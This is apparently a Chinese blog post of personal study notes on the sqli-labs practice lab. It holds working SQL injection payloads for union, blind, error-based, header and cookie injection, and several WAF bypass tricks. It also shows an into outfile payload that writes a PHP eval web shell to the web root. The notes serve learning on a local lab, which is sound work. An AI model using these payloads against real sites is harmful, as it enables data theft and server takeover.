Sql注入方法

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables table_schema='security'
查列:select column_name from information_schema.columns where table_names = 'users'
查字段: select username,password from security.users

column_name:列的名称
information_schema.columns:表示所有列的信息(在整个mysql里面)
(information_schema:表示所有信息,包括库、表、列)
(information_schema.tables:表示所有表的信息)
table_schema:指代数据库的名称,本质是一个information_schema中的tables表中的table_schema列,这个列记录的是库名
table_name:表的名称

less 01 ’1‘
group_concat() 拼接所有的字符,然后显示出来
concat_ws('~',A,B)
查询到了所有的库
information_schema,challenges,dvwa,lzwhehe,mysql,performance_schema,security,sys
查询security表中的表
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
emails,referers,uagents,users

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 --+

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users --+

less_02 1 数字型注入,这里尝试了各种情况,发现纯数字可以执行后面的语句
第二关和第一关基本一致

less_03 (‘1’)

less_04 变化不大,就是改了个引号形式

less_05 布尔'盲注' 正确的时候返回结果,错误的时候,不返回结果,这种没办法直接看到回显,所以需要使用
基础知识补充:
1. left 函数: left(database(),b) = 's' 从左到右的截取a的前b位,相等则返回1,不等则返回0
2. regexp 函数 select user() regexp 'r' 匹配字符,从左往右是正确的,就返回1,否则0
3. like 函数 select user() like 'ro%' 匹配和regexp相似,区别多个%
4. substr select substr(a,b,c) XXXX 匹配a从位置b开始截取c个字符串
5. ascii() 将字符转换为asii码
6. chr('数字') ord('字母') 判断当前的asii码
7.asii(substr((select database()),1,1) > 156
8.limit a,b 从第a个位置开始取b个值出来
解释:取数据库中的第一个的第一位,转换为asii字符进行比较
注意:我前面理解错了,其实就是一个网页有当前正在使用的数据库,他们在使用数据库的时候,都会先进行选择数据库,所以select database()查到的就是当前正在使用的数据库


less-05 报错没回显,正确有回显you are in,但是回显不出来什么你需要的信息
?id=1' and ascii((substr(select column_name from information_schema.columns where table_name = 'security' limit 1,1),1,1)) > 156 --
猜测columns,按照位数不停的猜测就好了,可以利用二分法来加快效率


less-06 相同的方法就是更换了注入点

less-07
load_file() 读取本地文件
into outfile() 写文件 select 'my sql is my' into outfile 'test.txt'
?id=-1')) union select 1,2,'lzw' into outfile 'C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.php' --

union select 1,2,' ' into outfile '' --+
<?php @eval($_POST["lzw"])?>
?id=-1' '<?php @eval($_POST["lzw"])?>' into outfile 'C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-8\\1.php' --

less-08
1.使用into file 直接控制对方电脑
2.使用盲注的方式,进行数据库,列名猜测
时间盲注(时间较多,成本较高)
补充知识:select if(condition,a,b) condition 成立,执行a,否则b
select if(1>2,3,sleep(3))
本质就是根据沉睡知道存在漏洞,如果那个页面明显没有任何反应,那么我们就可以通过设置sleep来知道是否正确

uname=admin&passwd=asdasd&Submit=submit

less-17
必须要先猜出用户的名字,才可以得到第二注入点,第一注入点有过滤操作,会对字符进行转译
concat(1,updatexml(1,concat(0x7e,(database()),1)

less-18
登录失败显示ip地址
登录成功显示ip+header中的agent信息
无法执行sql注入,全部都进行了转译
方法:通过观察得出,这里其实在sql取user—agent的时候,没有进行过滤,那么,我们就利用这一点,在带入use—agent的时候,进行提前闭合就好了
ascii((substr(select column_name from information_schema.columns where table_name = 'security' limit 1,1),1,1)) > 156
这里我思考了下,为什么不能使用之前盲注的那种思路来猜测库呢?
答:因为其实很简单,上面的结果不管正确与否,最后得到的结果不都是一样的吗,最后得到的回显永远只有一个成功标志,you are in来提示你
所以我们这里直接使用,updatexml来实现报错,报出各种字段名
这里字符填充的办法,就遵循传过去了一堆空值的同时,保证输入进去的语句得以执行


updatexml(1,concat(0x7e,(database())),1)

less-20
简单的cookie注入操作,在cookie处发现注入点,使用‘直接闭合前面的语句
less-21
less-22 都是cookie注入操作


less-23
1.输入id=1' 出现问题,说明没有对符号进行过滤,开始尝试,发现--无法使用,说明应该是进行了注释替换,好使用
;%00代替注释
2.使用union进行联合注入
3.使用updatexml,在注入点进行报错注入

讨论sql语句执行先后问题:
where id=1 order by 2 and 1=1 此时order by会被放入where中,导致order by无法执行
解决方法:where id=1 and 1=1 order by 2 将order by 放在最后,进行最后的排序就是有效果的

二次注入:


less-24
通过admin'#进行越权修改密码

less-25 waf绕过
白盒绕过:对源代码进行审计进行绕过
黑盒绕过
fuzz测试

白盒测试,就是看的到源代码,然后对源代码进行审计,进行攻击

黑盒测试
(1)架构层面绕过waf
找到原网站的真实地址,进行绕过
同网段,本质就是使用旁站去攻击主站点,旁站点可能没有部署waf
(2)资源限制角度绕过waf
(3)协议层面绕过
协议未覆盖,只对get过滤,post不检查
参数污染,id=1&id=2 可能只对id=1进行检测
(4)规则层面的绕过
1.sql注释符绕过
2.空白符的绕过
3.函数分割符 “将一个函数进行一定程度的分割”
4.浮点数字法解释 id=1可以检测,但是id=1e0,1.0就无法检测
5.利用error—based进行sql注入
6.mysql特殊语法
7.大小写绕过 sElect
8.关键字重复 Oorr
9.关键字替换 and-&& or || like = <>等价!=
fuzz测试
使用burn配合手工进行测试,后期测试成功后用脚本进行处理

懂了懂了,端口映射666:80
意思是访问主机的666端口,相当于访问docker环境中的80端口
因为我要访问那个虚拟http网站的80,所以做一次映射
将实际的666当作虚拟站点的80使用


less-26
1.使用updataxml进行报错
2.当我们使用%a0 充当空格进行替换的时候(字符替换问题)
自写脚本判断有哪些符合要求的编码


less-27
对union,select这些敏感词汇进行了过滤

less-28

posted @ 2021-09-08 11:09  Lzwhehe  阅读(194)  评论(0)    收藏  举报